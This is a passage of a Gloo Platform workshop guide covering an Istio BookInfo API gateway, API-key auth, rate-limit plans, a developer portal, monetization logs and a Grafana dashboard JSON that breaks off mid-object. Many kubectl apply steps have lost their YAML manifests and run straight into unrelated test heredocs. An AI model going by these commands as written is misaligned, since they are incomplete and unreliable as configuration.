is the API of the Istio BookInfo sample application.","license":{"name":"Apache + 2.0","url":"http://www.apache.org/licenses/LICENSE-2.0.html"},"termsOfService":"https://istio.io/","title":"BookInfo + API","version":"1.0.0"},"openapi":"3.0.3","paths":{"/products":{"get":{"description":"List + all products available in the application with a minimum amount of information.","operationId":"getProducts","responses":{"200":{"content":{"application/json":{"schema":{"items":{"$ref":"#/components/schemas/Product"},"type":"array"}}},"description":"successful + operation"}},"summary":"List all products","tags":["product"]}},"/products/{id}":{"get":{"description":"Get + detailed information about an individual product with the given id.","operationId":"getProduct","parameters":[{"description":"Product + id","in":"path","name":"id","required":true,"schema":{"format":"int32","type":"integer"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ProductDetails"}}},"description":"successful + operation"},"400":{"description":"Invalid product id"}},"summary":"Get individual + product","tags":["product"]}},"/products/{id}/ratings":{"get":{"description":"Get + ratings for a product, including stars and their color.","operationId":"getProductRatings","parameters":[{"description":"Product + id","in":"path","name":"id","required":true,"schema":{"format":"int32","type":"integer"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ProductRatings"}}},"description":"successful + operation"},"400":{"description":"Invalid product id"}},"summary":"Get ratings + for a product","tags":["rating"]}},"/products/{id}/reviews":{"get":{"description":"Get + reviews for a product, including review text and possibly ratings information.","operationId":"getProductReviews","parameters":[{"description":"Product + id","in":"path","name":"id","required":true,"schema":{"format":"int32","type":"integer"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ProductReviews"}}},"description":"successful + operation"},"400":{"description":"Invalid product id"}},"summary":"Get reviews + for a product","tags":["review"]}}},"servers":[{"url":"/api/v1"}],"tags":[{"description":"Information + about a product (in this case a book)","name":"product"},{"description":"Review + information for a product","name":"review"},{"description":"Rating information + for a product","name":"rating"}]}' + servedBy: + - destinationSelector: + port: + number: 9080 + selector: + cluster: cluster1 + name: productpage + namespace: bookinfo-frontends +``` + +Note that you can create the `APIDoc` manually to allow you: +- to provide the OpenAPI document as code +- to declare an API running outside of Kubernetes (`ExternalService`) +- to target a service running on a different cluster (`VirtualDestination`) +- ... + +We can now expose the API through Ingress Gateway using a `RouteTable`: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("Access the API without authentication", () => { + it('Checking text \'The Comedy of Errors\' in the response', () => helpersHttp.checkBody({ host: `https://cluster1-bookinfo.example.com`, path: '/api/bookinfo/v1', body: 'The Comedy of Errors', match: true })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/dev-portal-api/tests/access-api-no-auth.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Here is the expected output: + +```json,nocopy +[{"id": 0, "title": "The Comedy of Errors", "descriptionHtml": "Wikipedia Summary: The Comedy of Errors is one of William Shakespeare's early plays. It is his shortest and one of his most farcical comedies, with a major part of the humour coming from slapstick and mistaken identity, in addition to puns and word play."}] +``` + +You generally want to secure the access. Let's use API keys for that. + +You need to create an `ExtAuthPolicy`: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpers = require('./tests/chai-http'); + +describe("Access to API unauthorized", () => { + it('Response code is 401', () => helpers.checkURL({ host: `https://cluster1-bookinfo.example.com`, path: '/api/bookinfo/v1', retCode: 401 })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/dev-portal-api/tests/access-api-unauthorized.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +The access is refused (401 response): + +```http +HTTP/2 401 +www-authenticate: API key is missing or invalid +date: Wed, 05 Apr 2023 08:13:11 GMT +server: istio-envoy +``` + +Let's create an API key for a user `user1`: + +```bash +export API_KEY_USER1=apikey1 +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpers = require('./tests/chai-http'); + +describe("Access to API authorized", () => { + it('Response code is 200', () => helpers.checkURL({ host: `https://cluster1-bookinfo.example.com`, path: '/api/bookinfo/v1', headers: [{key: 'api-key', value: process.env.API_KEY_USER1}], retCode: 200 })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/dev-portal-api/tests/access-api-authorized.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +We'll see later that the API keys can be created on demand by the end user through the developer portal (and stored on Redis for better scalability). + +So, we've secured the access to our API, but you generally want to limit the usage of your API. + +We're going to create 3 usage plans (bronze, silver and gold). + +The user `user1` is a gold user (`gold` base64 is `Z29sZA==`). + +The `X-Solo-Plan` is created by the `ExtAuthPolicy` we have created earlier. + +Then, we need to create a `RateLimitServerConfig` object to define the limits based on the descriptors we will use later: + +```bash +kubectl apply --context ${CLUSTER1} -f - < +[VIDEO LINK](https://youtu.be/_GsECm06AgQ "Video Link") + + +You can also expose external APIs. + +Let's create an external service to define how to access the host [openlibrary.org](https://openlibrary.org/): + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpers = require('./tests/chai-exec'); + +describe("APIDoc has been created", () => { + it('APIDoc is present', () => helpers.k8sObjectIsPresent({ context: process.env.CLUSTER1, namespace: "bookinfo-frontends", k8sType: "apidoc", k8sObj: "openlibrary" })); +}); +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/dev-portal-stitching/tests/apidoc-created.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Finally, you can create a new `RouteTable` to stitch together the `/search.json` path with the existing Bookinfo API: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("Access the openlibrary API", () => { + it('Checking text \'language\' in the response', () => helpersHttp.checkBody({ host: `https://cluster1-bookinfo.example.com`, path: '/api/bookinfo/v2/search.json?title=The%20Comedy%20of%20Errors&fields=language&limit=1', headers: [{key: 'api-key', value: process.env.API_KEY_USER1}], body: 'language', match: true })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/dev-portal-stitching/tests/access-openlibrary-api.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +You should get something like that: + +```json,nocopy +{ + "numFound": 202, + "start": 0, + "numFoundExact": true, + "docs": [ + { + "language": [ + "ger", + "und", + "eng", + "tur", + "ita", + "fre", + "tsw", + "heb", + "spa", + "nor", + "slo", + "chi", + "mul", + "esp", + "dut", + "fin" + ] + } + ], + "num_found": 202, + "q": "", + "offset": null +} +``` + +Note we've also exposed the `/authors/{olid}.json` path to demonstrate how we can use regular expressions to capture path parameters. + +You can try it out with the following command: + +```shell +curl -k -H "api-key: ${API_KEY_USER1}" "https://cluster1-bookinfo.example.com/api/bookinfo/v2/authors/OL23919A.json" +``` + + + +## Lab 14 - Expose the dev portal backend +[VIDEO LINK](https://youtu.be/mfXww6udYFs "Video Link") + + +Now that your API has been exposed securely and our plans defined, you probably want to advertise it through a developer portal. + +Two components are serving this purpose: +- the Gloo Platform portal backend which provides an API +- the Gloo Platform portal frontend which consumes this API + +In this lab, we're going to setup the Gloo Platform portal backend. + +The Gateway team should create a parent `RouteTable` for the portal. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("Access the portal API without authentication", () => { + it('Checking text \'portal config not found\' in the response', () => helpersHttp.checkBody({ host: `https://cluster1-portal.example.com`, path: '/portal-server/v1/apis', body: 'portal config not found', match: true })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/dev-portal-backend/tests/access-portal-api-no-auth-no-config.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Here is the expected output: + +```json,nocopy +{"message":"portal config not found for host: ***"} +``` + +You can see that no portal configuration has been found. + +We'll create it later. + + + +## Lab 15 - Deploy and expose the dev portal frontend + + +The developer frontend is provided as a fully functional template to allow you to customize it based on your own requirements. + + + +Let's deploy it: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("Access the portal frontend without authentication", () => { + it('Checking text \'Developer Portal\' in the response', () => helpersHttp.checkBody({ host: `https://cluster1-portal.example.com`, path: '/index.html', body: 'Developer Portal', match: true })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/dev-portal-frontend/tests/access-portal-frontend-no-auth.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=300 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +We need to secure the access to the portal frontend. + +First, you need to create a Kubernetes Secret that contains the OIDC secret: + +```bash +kubectl --context ${CLUSTER1} apply -f - < + +Note that The `ExtAuthPolicy` is enforced on both the `portal-frontend` and `portal-server` `RouteTables`. + +Finally, you need to create a CORS Policy to allow the portal frontend to send API calls the `bookinfo` API. + +```bash +kubectl apply --context ${CLUSTER1} -f - < +[VIDEO LINK](https://youtu.be/fipCEZqijcQ "Video Link") + + +In the previous steps, we've used Kubernetes secrets to store API keys and we've created them manually. + +In this steps, we're going to configure the developer portal to allow the user to create their API keys themselves and to store them on Redis (for better scalability and to support the multicluster use case). + +You need to update the `ExtAuthPolicy` (to remove the `k8sSecretApikeyStorage` block): + +```bash +kubectl --context ${CLUSTER1} apply -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("Access the portal API without authentication", () => { + it('Checking text \'null\' in the response', () => helpersHttp.checkBody({ host: `https://cluster1-portal.example.com`, path: '/portal-server/v1/apis', body: '[]', match: true })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/dev-portal-self-service/tests/access-portal-api-no-auth-empty.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Users will authenticate on the frontends using OIDC and get access to specific APIs and plans based on the claims they'll have in the returned JWT token. + +You need to create a `PortalGroup` object to define these rules: + +```bash +kubectl apply --context ${CLUSTER1} -f - < + + +If you click on the `LOGIN` button on the top right corner, you'll be redirected to keycloak and should be able to auth with the user `user1` and the password `password`. + +Now, if you click on the `VIEW APIS` button, you should see the `Bookinfo REST API`. + +![Dev Portal APIs](images/steps/dev-portal-self-service/apis.png) + +Then, you can open the drop down menu by clicking on `user1` on the top right corner and select `API Keys`. + +![Dev Portal API keys](images/steps/dev-portal-self-service/api-keys.png) + +As you can see, you have access to the `Gold` plan and can create an API key for it. Click on the `+ADD KEY` button. + +Give it a name and click on `GENERATE KEY`. + +![Dev Portal API key](images/steps/dev-portal-self-service/api-key.png) + +Copy the key. If you don't do that, you won't be able to see it again. You'll need to create a new one. + +You can now use the key to try out the API. + +You'll need to use the `Swagger View` and then to click on the `Authorize` button to paste your API key. + +Before we continue, let's update the API_KEY_USER1 variable with its current value: + +```bash +export API_KEY_USER1=$(curl -k -s -X POST -H 'Content-Type: application/json' -d '{"usagePlan": "gold", "apiKeyName": "key1"}' -H "Cookie: ${USER1_TOKEN}" "https://cluster1-portal.example.com/portal-server/v1/api-keys" | jq -r '.apiKey') +echo API key: $API_KEY_USER1 +``` + + + + + +## Lab 17 - Dev portal monetization +[VIDEO LINK](https://youtu.be/VTvQ7YQi2eA "Video Link") + + +The recommended way to monetize your API is to leverage the usage plans we've defined in the previous labs. + +In that case, you don't need to measure how many calls are sent by each user. + +But if you requires fine grained monetization, we can deliver this as well. + +The `portalMetadata` section of the `RouteTable` we've created previously is used to add some metadata in the access logs. + +You can configure the access logs to take advantage of the metadata: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +var chai = require('chai'); +var expect = chai.expect; +const helpers = require('./tests/chai-exec'); + +describe("Monetization is working", () => { + it('Response contains all the required monetization fields', () => { + const response = helpers.getOutputForCommand({ command: `curl -k -H \"api-key: ${process.env.API_KEY_USER1}\" https://cluster1-bookinfo.example.com/api/bookinfo/v1` }); + const output = JSON.parse(helpers.getOutputForCommand({ command: `kubectl --context ${process.env.CLUSTER1} -n istio-gateways logs -l istio=ingressgateway --tail 1` })); + expect(output.usage_plan).to.equals("gold"); + expect(output.api_product_id).to.equals("bookinfo"); + expect(output.user_id).to.equals("user1@example.com"); + }); +}); +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/dev-portal-monetization/tests/monetization.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 3m mocha ./test.js --timeout 10000 --retries=150 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + + + +## Lab 18 - Deploy Backstage with the backend plugin + + +To allow the Backstage backend plugin to communicate with the Gloo Mesh Portal Server through the Istio Ingress Gateway, we need to create an `ExternalService` and an `ExternalEndpoint` objects. + +```bash +kubectl apply --context ${CLUSTER1} -f - <= 500 AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nORDER BY\n count Desc\nlimit\n 20\n", + "refId": "A" + } + ], + "title": "Server error count", + "transparent": true, + "type": "stat" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "description": "User error count in this period (4xx status codes)", + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "orange", + "value": null + }, + { + "color": "red", + "value": 10000 + } + ] + }, + "unit": "none" + }, + "overrides": [] + }, + "gridPos": { + "h": 4, + "w": 3, + "x": 16, + "y": 1 + }, + "id": 84, + "options": { + "colorMode": "value", + "graphMode": "area", + "justifyMode": "auto", + "orientation": "auto", + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "textMode": "auto" + }, + "pluginVersion": "10.0.3", + "targets": [ + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n count(*) AS count\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n CAST(LogAttributes['status_code'] AS INT) >= 400 AND CAST(LogAttributes['status_code'] AS INT) < 500 AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nORDER BY\n count Desc\nlimit\n 20\n", + "refId": "A" + } + ], + "title": "User error count", + "transparent": true, + "type": "stat" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "custom": { + "axisCenteredZero": false, + "axisColorMode": "text", + "axisLabel": "", + "axisPlacement": "auto", + "barAlignment": 0, + "drawStyle": "bars", + "fillOpacity": 17, + "gradientMode": "opacity", + "hideFrom": { + "legend": false, + "tooltip": false, + "viz": false + }, + "lineInterpolation": "linear", + "lineWidth": 4, + "pointSize": 15, + "scaleDistribution": { + "type": "linear" + }, + "showPoints": "auto", + "spanNulls": false, + "stacking": { + "group": "A", + "mode": "none" + }, + "thresholdsStyle": { + "mode": "off" + } + }, + "decimals": 0, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + }, + { + "color": "red", + "value": 80 + } + ] + }, + "unit": "none" + }, + "overrides": [] + }, + "gridPos": { + "h": 7, + "w": 7, + "x": 0, + "y": 5 + }, + "id": 197, + "options": { + "legend": { + "calcs": [], + "displayMode": "list", + "placement": "bottom", + "showLegend": true + }, + "tooltip": { + "mode": "single", + "sort": "none" + } + }, + "targets": [ + { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "fields": [ + "LogAttributes" + ], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "groupBy": [ + "TraceId" + ], + "limit": 100, + "metrics": [], + "mode": "trend", + "orderBy": [], + "table": "gloo_api_logs", + "timeField": "Timestamp", + "timeFieldType": "DateTime64(9)" + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 0, + "meta": { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "fields": [ + "LogAttributes" + ], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "groupBy": [ + "TraceId" + ], + "limit": 100, + "metrics": [], + "mode": "trend", + "orderBy": [], + "table": "gloo_api_logs", + "timeField": "Timestamp", + "timeFieldType": "DateTime64(9)" + } + }, + "queryType": "sql", + "rawSql": "SELECT \n $__timeInterval(Timestamp) AS time,\n LogAttributes['status_code'] AS statusCode,\n count(*) as count\nFROM \n gloo_api_logs\nWHERE \n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n LogAttributes['status_code'] IN ($status_code) AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nGROUP BY \n statusCode, \n time\nORDER BY \n time ASC", + "refId": "A", + "selectedFormat": 4 + } + ], + "title": "Status codes over time", + "transformations": [ + { + "id": "renameByRegex", + "options": { + "regex": "count (.*)", + "renamePattern": "$1" + } + } + ], + "type": "timeseries" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "fieldConfig": { + "defaults": { + "color": { + "mode": "palette-classic" + }, + "custom": { + "hideFrom": { + "legend": false, + "tooltip": false, + "viz": false + } + }, + "decimals": 0, + "mappings": [], + "unit": "none" + }, + "overrides": [] + }, + "gridPos": { + "h": 7, + "w": 4, + "x": 7, + "y": 5 + }, + "id": 2, + "interval": "1h", + "options": { + "legend": { + "displayMode": "list", + "placement": "bottom", + "showLegend": true + }, + "pieType": "pie", + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "tooltip": { + "mode": "single", + "sort": "none" + } + }, + "targets": [ + { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "fields": [ + "LogAttributes" + ], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "groupBy": [ + "TraceId" + ], + "limit": 100, + "metrics": [], + "mode": "trend", + "orderBy": [], + "table": "gloo_api_logs", + "timeField": "Timestamp", + "timeFieldType": "DateTime64(9)" + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 0, + "meta": { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "fields": [ + "LogAttributes" + ], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "groupBy": [ + "TraceId" + ], + "limit": 100, + "metrics": [], + "mode": "trend", + "orderBy": [], + "table": "gloo_api_logs", + "timeField": "Timestamp", + "timeFieldType": "DateTime64(9)" + } + }, + "queryType": "sql", + "rawSql": "SELECT \n $__timeInterval(Timestamp) AS time,\n LogAttributes['api_id'] AS apiId,\n count(*) AS count\nFROM \n gloo_api_logs\nWHERE \n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n LogAttributes['status_code'] IN ($status_code) AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nGROUP BY \n apiId, \n time\nORDER BY \n time ASC", + "refId": "A", + "selectedFormat": 4 + } + ], + "title": "API Product distribution", + "transformations": [ + { + "id": "renameByRegex", + "options": { + "regex": "count (.*)", + "renamePattern": "$1" + } + } + ], + "type": "piechart" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "gridPos": { + "h": 7, + "w": 13, + "x": 11, + "y": 5 + }, + "id": 196, + "options": { + "dedupStrategy": "none", + "enableLogDetails": true, + "prettifyLogMessage": false, + "showCommonLabels": false, + "showLabels": false, + "showTime": false, + "sortOrder": "Descending", + "wrapLogMessage": false + }, + "targets": [ + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 2, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT \n*\nFROM \n gloo_api_logs\nWHERE \n $__timeFilter(Timestamp)", + "refId": "A", + "selectedFormat": 2 + } + ], + "title": "Recent requests", + "transformations": [ + { + "id": "organize", + "options": { + "excludeByName": { + "Body": true, + "ServiceName": true, + "SeverityNumber": true, + "SeverityText": true, + "SpanId": true, + "TraceFlags": true, + "TraceId": true + }, + "indexByName": {}, + "renameByName": {} + } + } + ], + "type": "logs" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "description": "", + "fieldConfig": { + "defaults": { + "color": { + "mode": "palette-classic" + }, + "custom": { + "axisCenteredZero": false, + "axisColorMode": "text", + "axisLabel": "", + "axisPlacement": "auto", + "barAlignment": 0, + "drawStyle": "line", + "fillOpacity": 67, + "gradientMode": "opacity", + "hideFrom": { + "legend": false, + "tooltip": false, + "viz": false + }, + "lineInterpolation": "linear", + "lineWidth": 3, + "pointSize": 5, + "scaleDistribution": { + "type": "linear" + }, + "showPoints": "auto", + "spanNulls": false, + "stacking": { + "group": "A", + "mode": "none" + }, + "thresholdsStyle": { + "mode": "off" + } + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + }, + { + "color": "red", + "value": 10000 + } + ] + }, + "unit": "bytes" + }, + "overrides": [] + }, + "gridPos": { + "h": 7, + "w": 11, + "x": 0, + "y": 12 + }, + "id": 201, + "options": { + "legend": { + "calcs": [], + "displayMode": "list", + "placement": "bottom", + "showLegend": true + }, + "tooltip": { + "mode": "single", + "sort": "none" + } + }, + "pluginVersion": "10.0.3", + "targets": [ + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 1, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n LogAttributes['bytes_sent'] as bytes_sent,\n $__timeInterval(Timestamp) AS time,\n count(*) AS bytes\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nGROUP BY \n bytes_sent,\n time\nORDER BY \n time ASC\n", + "refId": "A", + "selectedFormat": 4 + } + ], + "title": "Bytes sent over time", + "type": "timeseries" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "description": "", + "fieldConfig": { + "defaults": { + "color": { + "mode": "palette-classic" + }, + "custom": { + "axisCenteredZero": false, + "axisColorMode": "text", + "axisLabel": "", + "axisPlacement": "auto", + "barAlignment": 0, + "drawStyle": "line", + "fillOpacity": 8, + "gradientMode": "none", + "hideFrom": { + "legend": false, + "tooltip": false, + "viz": false + }, + "lineInterpolation": "linear", + "lineWidth": 1, + "pointSize": 5, + "scaleDistribution": { + "type": "linear" + }, + "showPoints": "auto", + "spanNulls": true, + "stacking": { + "group": "A", + "mode": "none" + }, + "thresholdsStyle": { + "mode": "off" + } + }, + "decimals": 0, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + }, + { + "color": "red", + "value": 80 + } + ] + }, + "unit": "none" + }, + "overrides": [] + }, + "gridPos": { + "h": 7, + "w": 13, + "x": 11, + "y": 12 + }, + "id": 132, + "options": { + "legend": { + "calcs": [], + "displayMode": "list", + "placement": "bottom", + "showLegend": true + }, + "tooltip": { + "mode": "single", + "sort": "none" + } + }, + "pluginVersion": "10.0.0", + "targets": [ + { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "database": "default", + "fields": [], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "limit": 100, + "mode": "list", + "orderBy": [], + "table": "gloo_api_logs" + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 1, + "meta": { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "database": "default", + "fields": [], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": 